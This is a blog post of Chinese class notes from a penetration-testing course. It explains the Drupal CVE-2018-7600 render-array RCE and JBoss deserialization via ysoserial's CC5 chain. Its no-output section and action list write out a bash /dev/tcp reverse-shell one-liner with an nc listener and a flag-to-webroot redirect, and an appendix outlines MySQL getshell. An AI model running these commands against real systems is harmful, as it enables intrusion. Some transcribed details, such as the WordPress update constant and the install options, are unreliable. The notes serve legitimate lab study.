qiu_dv

导航

课堂笔记-8月23日

课堂笔记-8月23日:从「表单渲染」到「反序列化」——Drupal 7600 漏洞复现与 JBoss 反弹 Shell 实战

来源:8_23/录音.txt | 日期:2026-08-23 | 主题:框架漏洞(Drupal 7600 系)原理与复现 + Java 反序列化(JBoss / CC5)+ 反弹 Shell 实战

〇、今日主线

今天是一节「动手 + 原理」并重的攻防实操课,核心内容分三条线:

  1. 上午围绕一个老框架的 RCE 漏洞(老师口述编号「20187600」,即 Drupal 系 CVE-2018-7600 / 7602 系列),从"为什么一个看似普通的注册表单会变成命令执行"出发,完整走了一遍 环境搭建 → 前端表单分析 → 渲染机制原理 → 漏洞复现 的链路。
  2. 下午转向 Java 反序列化漏洞(JBoss + CC5 利用链),演示 ysoserial 工具用法、无回显情况下的两种解法(文件重定向 / 反弹 Shell),并反复强调"理解原理 + 熟练工具"比死记 POC 更重要。
  3. 贯穿全程的是一条学习观:研究漏洞不能停留在表面、不能只复制粘贴别人的 POC,要追完整利用链、亲手调试;技术选型要跟随主流框架(Laravel / ThinkPHP / Yii),不要在织梦这类过时框架上浪费时间。

一、课前回顾与学习理念

1.1 昨日练习回顾

  • 欣老师回顾前一天的测试练习,用结果帮大家认清自己的学习状况;表扬班级整体学习氛围好(昨晚还有同学在群里讨论调试问题)。
  • 出现一个典型案例:WordPress 调试版被强制自动升级,导致原本存在的漏洞被修复。

1.2 WordPress 自动升级的坑(重点)

  • 安装 WordPress 时若联网,系统可能自动把版本从 6.9.4 升到 7.0.2 等新版本,漏洞随之被修复,靶场直接失效。
  • 解决办法:在 wp-config.php禁用自动升级
// 在 wp-config.php 中加入(录音原文字段名为 AUTO_UPDATE_DISABLED)
define('AUTO_UPDATE_DISABLED', true);
  • 最佳实践:在安装之前就改好配置,确保装完不会自动升级、保留漏洞用于测试。老师提到多年前做 WordPress 漏洞测试就用过这招,效果很好。

1.3 学习理念

  • 别急着赶进度:前面没掌握好就往后学,会造成"知识堆积",看似快实则效果差,先把基础打牢。
  • 动手 > 反复看文档:基本原理掌握后,观望没有意义,必须实操("学游泳,看再多教程也不如下水一次")。
  • 理论学习和实践操作要平衡,过度停留在理论阶段反而阻碍进步。

二、技术选型:主流框架 vs 过时框架

2.1 PHP 主流框架对比

欣老师用生活化类比讲框架差异:ThinkPHP = 毛坯房(需自己从头搭建),Laravel = 精装房(内置前端后台、开箱即用,解决方案更完整,也是它能连续获全球大奖的原因)。

框架 地位 备注
Laravel 国内最主流之一 功能最全,"精装房",重点掌握
ThinkPHP 国内最主流之一 需自行搭建,"毛坯房",国内使用极广
Yii 主流三大框架之一 与 Laravel / ThinkPHP 同级
CI 国外还行,国内基本没人用 可略过
织梦 DedeCMS 2010-2015 年很火,现已淘汰 官网仍有更新,但版本从 2015 至今都是 5.7,更新频率极低
  • 框架生命周期很短:几年前还流行的框架,现在可能已过时(织梦是典型,网站风格停在几年前)。
  • 学习建议:把精力放在当下主流框架上;织梦、易兔这类国内已没人用的建站系统,"资料能找到但没必要花时间研究"。
  • 老框架往往提供 request->get() 之类的快捷方法,内置自动过滤机制(能防 SQL 注入),比直接 $_GET 更安全——但"掌握起来很简单,实际价值不大"。

2.2 漏洞研究观(今天反复强调)

  • 现在很多"漏洞研究"是表面功夫:复制粘贴利用代码 + 几句简单描述,根本没理解漏洞根本原因。就像 WordPress 某漏洞,网上新闻一大把,深度分析原理的文章寥寥无几。
  • 检索技巧:找有价值的分析,用 Google 搜原作者的文章;百度往往搜不到深度内容。
  • AI 文章的两面性:AI 生成的漏洞分析能抓住关键点,但缺乏深度技术细节——比如某篇 7 月 19 号的文章提"路由混淆注入",只说"发一个 batch 含三个子请求",却不讲清参数如何最终传入数据库查询。30 篇相关文章里,9 篇直接用了 AI 总结,内容非常浅。
  • 技术浮躁现象:蹭热点的往往是"半桶水",真正深入研究的专家(如 360 研究员常婷)通常保持低调。
  • 方法论两条:1)不能只看漏洞描述,要追踪完整利用链;2)关注"参数如何传递到 SQL 查询"这类底层实现细节
  • 核心认知:漏洞研究的价值在于第一手分析。面对不熟悉的框架,宁可先保持空白认知,也不要被网络噪音干扰判断。

三、CVE-2018-7600(Drupalgeddon2)原理与复现

编号说明:录音中该漏洞被老师写作「20187600」,并混用「2017.7600」「7600 / 7602」等说法,实际对应 Drupal 的 CVE-2018-7600(Drupalgeddon2)及其补丁绕过 CVE-2018-7602,是约 8 年前的老漏洞。老师强调:这类老漏洞实战遇到概率极低(没多少公司还用 10 年前的系统),更适合学习研究;国内真正容易遇到的是 WordPress 最新漏洞、宝塔、雷池这类用量大的系统。

3.1 前置知识:表单提交的两种方式

方式 特点
传统 form POST 填完直接点提交,刷新整个页面
JS / Ajax 控制 事件触发提交,不依赖 form 默认提交,无刷新局部更新
  • JS 为什么能提交表单window 对象是 JS 的顶级父类,包含所有事件(onclick 等);JS 几乎能监听和操作页面上的任何交互。
  • Ajax 的历史:2010-2014 年很火,核心是无刷新更新页面(改邮箱只刷邮箱那块);现在实际开发已很少直接写 XMLHttpRequest,主流是 React、Fetch API 等,但 Ajax 仍是底层基础。

3.2 前端表单的代码细节(老师手写例子)

  • 表单前端约 370 行,绝大部分是 CSS,真正的表单结构很简单
  • 表单用 div 包裹,必须给 <form> 设置 id(id 全局唯一,比 class 更适合 JS 精确抓取,配合 getElementById)。
  • 三列:姓名、邮箱、留言。不用 input type="submit",而用 <button> 控制提交 / 重置
  • 提交流程:new FormData 创建表单数据对象 → 格式转换 → Ajax 发送。
  • 防抖处理:提交按钮点击后立即变为"提交中"并设置 disabled 防重复点击;服务器返回 200 后恢复原状态。
  • 状态码:200-300 之间都算成功,但业务上通常只关注 200。
  • 内置浏览器校验:JS 监听 click 事件,抓取 name / email 值,字段空缺直接触发浏览器内置校验,无需手写验证逻辑。
  • 前端建议:不必过度追求复杂样式,用 id 标识关键元素、关注功能简洁与可维护性

3.3 环境搭建(Docker 复现)

  • Docker 复现,解压约 80 多 MB 的安装包,进入 2017.7600 目录,Docker 环境已预配置好。
  • 镜像:从远程仓库拉取 8.5.0 版本,默认映射到本地 8080 端口(被占用需手动改)。docker-compose up 启动服务。
  • 代理配置:若之前用华为镜像源(如 LiteSpeed)可能无需配置;从国外拉镜像必须提前设置代理。配置 HTTP/HTTPS 两类代理,把代理地址里的 IP 改成 192.168.68.1xx,端口因人而异(示例 7897),改完重载配置或重启 Docker
  • 容器成功映射 8080 后,访问 http://192.168.68.190:8080(安装提示基本一路下一步,语言选英文 / 中文都行)。
  • 数据库选择:Docker 环境默认装 SQLite(某些系统未预装 MySQL);本地有 MySQL 就选 MySQL(用本地管理员账号密码)。重点在于搞清系统实际用的数据库类型,而不是纠结语言选项。
  • 装完进后台:支持文章发布(标题、排版、插图)、给文章打标签分类。注意:前端 / 后端都禁止直接上传 PHP 文件,否则不会这么麻烦。

3.4 Composer 依赖管理(PHP 环境常见坑)

  • Drupal 8.x 用 PHP 的 Composer 管理依赖(类似 Python 的 pip / Node 的 npm)。系统装好了但缺第三方依赖库(vendor 目录)就运行不了。
  • 版本兼容性:必须用 Composer 1.x(老师强调 1.8.5),2.x 与老系统不兼容。AI 曾自动装 2.0 报错,降级到 1.0 才适配。
  • 核心命令:composer install(可加 --no-interaction 跳过交互确认)。
安装方式 优点 缺点
直接下载安装 简单直接 易下到高版本不兼容(如 2.5.2)
PyArrow 0.85 适合已有 PyArrow 环境 适用范围窄
Docker 安装最简单 调试麻烦,需进容器操作
  • 版本差异:Drupal 7.x(7.5 / 7.7)无需预装第三方库,装完直接访问即可;8.5 必须先用 Composer 装依赖库,否则无法运行。可用 phpinfo 查 PHP 版本。
  • 老师建议:本地装环境,调试最方便(虽安装稍麻烦,主要下载库文件);文档已发群里,配置文件可从 GitHub 下载。

3.5 核心机制:Drupal 渲染数组(Render Array)与 # 前缀

  • Drupal 的页面区块、表单 UI 统一表示为嵌套的渲染元素以井号 # 开头的键决定元素的渲染方式。
  • 关键属性:
属性 含义
#markup 类似 HTML 的 P 标签,但经框架预处理(安全输出原始字符串)
#makeup(录音即 markup) 提交数据前对内容做处理(如大小写转换),本质是预处理渲染
#pre_render 渲染前处理("做菜前的食材预处理")
#post_render 渲染后处理("菜做好后再加工")——回调会被直接调用,重点检查环节
#build 懒加载相关
回调函数 渲染输出的核心机制
  • 工作机制类似"菜谱 + 厨师":系统不直接输出 HTML,而是先构建数据描述(菜谱,含 type 等信息),再交给渲染器(厨师)转成最终页面。
  • 英语命名规范:理解 post = "在…之后"(对应 pre = "在…之前"),就懂 #post_render 是"渲染完成后的回调"。

3.6 漏洞成因:为什么表单提交会变成 RCE

  • 正常逻辑:系统自动生成邮件内容,用过滤器校验 email 格式,渲染器处理表单数据。
  • 问题所在:系统没有过滤用户提交的 # 前缀键,导致攻击者能"狸猫换太子":
    1. 用户提交特殊构造的数组(以 # 开头的键,如 #post_render#value),覆盖系统默认的表单渲染逻辑
    2. 渲染器把用户数据原样处理,遇到特定格式的数组会把它当作回调函数执行
    3. 回调函数及其参数都用户可控时 → 任意代码注入 → RCE(命令执行)
  • 老师类比:就像有人偷偷改自动售货机程序,让它把假币当真钱收;"无害内容(普通文字)+ 用户可控回调函数"组合成漏洞。
  • 关键点:#value 格式必须与后端字段名完全匹配(后端抓取 #y6,就提交对应 #y6 的值,改别的值就接不到)。value 元素存的就是实际提交的内容。
  • 官方修复:直接删除所有以 # 开头的键名,堵住"用户输入覆盖系统组件"的通道。

3.7 漏洞利用三步(完整链)

  1. 构建表单:构造注册表单(必填 email + username),在 email 字段注入 # 开头的恶意键(如 #post_render);
  2. 上传图片触发:点击"上传图片"按钮 → 前端触发请求,系统先检查表单中是否有 post_render 属性,有则对 email 字段先做过滤;此时表单数据(含恶意 email 参数)已全部就绪;
  3. 回调执行:渲染器把渲染结果作为回调函数的第一个参数传入 → 恶意回调被执行 → RCE
  • 关键点
    • 表单元素分阶段、按顺序构建:先 email → 再用户名 → 最后图片上传;处理图片元素时 email 是"已构建完成的父级元素"(environment parents 参数捕获这种前置关系)。
    • 文件上传的回调函数在表单数据构建完成后才触发,所以回调能拿到之前构建的所有字段。
    • 用户提交的数据会覆盖系统原有数据(user picture、email 都是用户可控输入)。
    • 复现时用抓包工具观察 form 数据(email、name 都通过上传方式提交),可填 123456 测试值;用 F12 开发者工具观察表单构建过程。
    • 注册接口和管理员修改密码的接口不同,不要混用;分析 regist 创建过程发现两处问题,是 RCE 的直接诱因(基于代码逻辑 + 经验直觉判断,需深入追踪代码——该框架代码比 WordPress 简单,两三个步骤即可定位根源)。

3.8 与 WordPress 漏洞的共通点:缓存投毒(7602 绕过)

  • 老师指出,7602 补丁的绕过方式与 WordPress 漏洞异曲同工,都是「缓存投毒」
    1. 先在缓存中"下毒"(污染缓存数据);
    2. 再读取被污染的数据触发漏洞。
  • 这种"先污染缓存再引爆"的手法在很多漏洞中重复出现。识别不同漏洞中重复出现的攻击模式,能更快理解利用原理。老师建议先练完这个,下午再讲第二个知识点。

3.9 调试要点与坑

  • 不要用 nginx:该项目依赖 .htaccess 重定向文件(把 .php 结尾的请求伪装、隐藏行踪),nginx 不认 .htaccess
  • AI 辅助代码分析可行,但要逐行验证;老师本地装环境是为了下断点调试。
  • 断点建议:表单构建 form builder代码 238 行附近;build 方法在 98 行(捕获上层抛出的异常);渲染器过滤逻辑在 505 行左右;179 行可观察到"先取 email 真实内容、再与图片打包提交"。
  • "假异常":该系统用异常机制做流程跳转和数据传递(不是真错误)——表单处理完本应渲染整个 HTML,但 Ajax 只需特定元素数据,系统最初没设计返回值机制,就借用异常当"快递盒"传递表单数据。要区分这种"假异常"和真正的程序错误。
  • Docker 与本地是隔离环境:容器里创建的文件只在容器内,别去本地系统找。正确做法:先进容器,再检查容器内临时目录
  • 抓包测试时:email 内容可控且未过滤 → 可提交恶意 post_render 内容;常规提交不会触发 email 过滤,只有在伪造 #post_render 条件时才会执行过滤操作

四、Java 反序列化:JBoss 实战

4.1 漏洞本质

  • 与 SQL 注入同理:用户输入未经过滤,直接被传入 Java 反序列化函数执行
  • 漏洞存在于特定接口:直接反序列化用户 POST 请求数据;要成功利用,POST 请求中必须包含可执行命令的第三方组件(利用链)。
  • JBoss 服务跑在 8080 端口很常见(环境里有 11 张图辅助理解利用过程)。

4.2 JBoss 特征与识别

  • 渗透测试中识别 JBoss 特征很重要(看到特定响应页面就联想到对应漏洞);考试主要关注特定漏洞,实际渗透要了解所有攻击面。
  • 若成功反弹 Shell,通常直接获得 root 权限——Java 反序列化往往具备高权限执行特点。
  • 该漏洞出现于 2017 年,相关资料往往只给利用方法、缺原理说明,建议自行复现,但要有"只有答案、没有过程"的心理准备。

4.3 ysoserial 工具 + JDK 环境

  • 工具来源:2017 年国外安全人员在黑帽大会上提出(即 ysoserial),直接引发后续一系列 Java 漏洞。
  • 使用前提:配置 JDK 环境,推荐 JDK8(下载 jdk8u202,Oracle 官网可能要注册账号;本机已装同版本可跳过)。
  • 必须明确漏洞编号 + 检查端口冲突(如 8080 被占用)。老师举例:某 2017 漏洞利用场景中,提供的链接指向了错误工具(该给 Java 反序列化工具却给了 Shell 脚本)——"光有答案不够,必须理解执行环境和工具链的匹配性"。

4.4 CC5 利用链与无回显

  • 利用链:CC5(Commons Collections 5),触发核心类为 BadAttributeValueException(生成 POC 里可辨认出)。
  • 使用前先加 cc5+32 参数配置;执行命令可自定义(演示是弹计算器,实战常改为 cat flag)。
  • 命令执行可能无回显——即使 cat flag 成功,页面也不显示结果(像按了电梯按钮灯不亮)。

4.5 无回显的两种解法(面试常考)

方法 原理 命令示例
文件重定向 知道网站物理路径(开源系统通常可知),把命令结果重定向到 web 目录再访问 cat /flag > /var/www/html/1.txt
反弹 Shell 网络允许时把远程 shell 拉回本地,所有输出直接可见 bash -i >& /dev/tcp/192.168.68.190/12345 0>&1
  • 核心思路:把不可见输出变成可见——前者靠文件间接获取,后者靠反向连接直接获取。
  • 反弹 Shell 详细配置:
    • 目标 IP:192.168.68.190,端口 12345,用 /dev/tcp/ 做 TCP 连接;
    • 注意格式细节(空格、符号位置);0>&1 表示把标准输入(0)重定向到标准输出(1),保证命令行输出可见(平时更常用 2>&1 把错误输出也带上);
    • 本地用 nc -lvv 12345 监听;先外部测试监听是否成功
    • 反弹到云服务器:实战 / 考试要反弹到阿里云 / 腾讯云服务器,而不是本地虚拟机,否则可能反弹不回来,服务器 IP 非常关键。
    • 排错:没有返回结果时,检查命令是否正确(不确定就直接复制粘贴正确命令);参数细节一个小错(如把 ls 写成 l)就导致整个流程失败。

4.6 验证命令执行是否成功

  • 页面回显在漏洞利用中并不常见,需要间接验证
    1. system() 执行任意系统命令(Windows / Linux 均可);
    2. 在目标临时目录 touch 一个文件,再进系统 / 容器检查文件是否生成;
    3. 或在 web 目录下创建文件(如 ertit),通过网站直接访问该文件,能访问即证明利用成功。
  • Docker 场景:先 docker exec 进容器再检查临时目录,别在本地找。

4.7 请求与抓包细节

  • GET 传参有安全隐患 → 改用 POST;即使 POST,Content-Type 必须明确设为 application/json(或其他对应格式),否则数据解析出错。
  • 发送数据异常判断:正常发送的文字显示蓝色、异常显示黑色(数据未完整传输);服务监听端口与请求目标端口不一致会返回 500
  • 配置必须写对 IP(192.168.68.190)和端口(8080 / invoker 接口),否则容易出错。
  • 老师更推荐用 curl 类工具做监听传输,乱码问题更少、更稳定;老工具偶尔会卡死需重启。

五、今日重点方法论

5.1 今天的两大任务

  1. 搞懂 Windows / Linux 环境下的漏洞搭建(已讲完);
  2. 研究漏洞原理——弄清漏洞产生的具体原因和利用方式。
  • Java 反序列化漏洞:现阶段不用深挖原理,先把漏洞利用方法反序列化工具使用掌握好,后期讲到反序列化就能跳过工具基础,节省时间。
  • 一句话总结:搭建环境 + 复现漏洞打基础,搞懂原理 + 掌握工具为后续铺路

5.2 版本选择:稳定优先,别追新

  • PHP 已更新到 8.5,但生产环境 7.3 / 7.4 仍是使用最广泛的版本;Java 的 JDK 已到 22,但最常用的还是 JDK 1.8。老师强调稳定性和社区生态比追新更重要,研究老版本(如 1.8 系)更具实际意义。
  • 版本号易混点:今天演示用的是 8.5.0(文件夹名不带具体版本号),7600 对应的是 7602 版本,别混淆。

5.3 考试与复现技巧

  • 复现漏洞不需要死记硬背:先熟悉漏洞特征,考试遇到能快速识别、再查阅资料。
  • 考试经验(老师自述):考场虽有摄像头监控,但切屏查资料未被拦截——这是概率问题(抽检机制),不要依赖。
  • 遇到技术问题很正常(命令未执行、执行后找不到结果);Windows 下工具不好用就重试,或换用搜索工具排查;看到 AI 提示后要立即行动,不要停在查看阶段。
  • 数据包匹配是执行成功的关键:发送点和接收点对应上,成功率就高。调试环境建议统一(要么都 Windows、要么都 Docker);Docker 不方便调试时,可先在 Docker 执行确认命令成功,再到本地调试核心函数
  • Windows 下没有 id 命令,别照搬 Linux 命令;用 exec 还是 system 本质都能实现相同功能(dir / ls 同理),系统差异导致的编码 / 输出细微差异很正常,不必纠结完美,先动手
  • 框架已完整提供时别过度纠结底层细节:项目已配好环境、写好配置,直接按既定命令执行即可("用微波炉不需要研究磁控管原理")。

附:行动清单

  1. 修好 WordPress 靶场:在 wp-config.php 禁用自动升级(AUTO_UPDATE_DISABLED),重装验证不再被自动升级修复漏洞。
  2. 本地搭建 Drupal 8.5 漏洞环境:按群里文档从 GitHub 下载源码,用 Composer 1.x(不要用 2.x)装依赖,选 MySQL,跑通安装程序并 phpinfo 验证 PHP 版本。
  3. 亲手复现 CVE-2018-7600:用 F12 + 抓包工具走完"构建表单 → 上传图片触发 → #post_render 回调执行"三步,在 238 / 98 / 179 / 505 行附近下断点看数据流。
  4. 打通 JBoss 反序列化:下载 ysoserial jar + JDK8,配好 CC5(cc5+32)参数,用 /invoker 接口 POST(Content-Type: application/json)执行 cat flag
  5. 练习无回显两种解法:文件重定向到 web 目录再访问;反弹 Shell 到云服务器(nc -lvv 12345 监听 + bash -i >& /dev/tcp/<IP>/12345 0>&1),并先外部测试监听。
  6. 对照 PDF 把答案流程走通:先复制答案完成练习,把工具使用和输入方式跑熟,再回头研究原理;注意 Docker 容器与本地环境隔离,进容器检查文件。

附:简历与就业要点

  • 面试高频题
    • "MySQL 如何 getshell"——需同时满足三个严苛条件:①知道目标路径;②root 权限(或 file 权限);③secure_file_priv 为空。两条主要路径:文件写入权限(INTO OUTFILE管理员后台插件上传。强调:即使不是 root,只要有 file 权限也能注入,但该权限通常仅 root 持有。
    • "反弹 Shell"——无回显的两种解法(文件重定向 / 反弹 Shell)是面试常考点,要把原理和命令都讲清。
  • 技术方向建议:简历 / 面试展示的技术要跟随市场主流(Laravel / ThinkPHP / Yii、最新版 WordPress、国内用量大的系统如宝塔 / 雷池),不要拿 2007-2017 年的老框架当卖点;老漏洞(如 20187600、2017 反序列化)适合讲原理和调试能力,不适合当实战经验吹。
  • 考证 / 考试策略:看到特定报错能对应到漏洞类型(如 JBoss 反序列化),直接调用现成代码即可;不必深究原理细节,重点是利用方法 + 工具熟练度。老师提醒考试切屏查资料是概率问题,不能依赖。
  • 学习观:真正深入研究漏洞的专家保持低调,网上高调分析文章很多是 AI 生成的表面内容;与其依赖二手信息,不如让 AI 辅助自己研究原始漏洞——第一手分析才是核心竞争力

posted on 2026-09-04 00:36  qiu_dv  阅读(3)  评论(0)    收藏  举报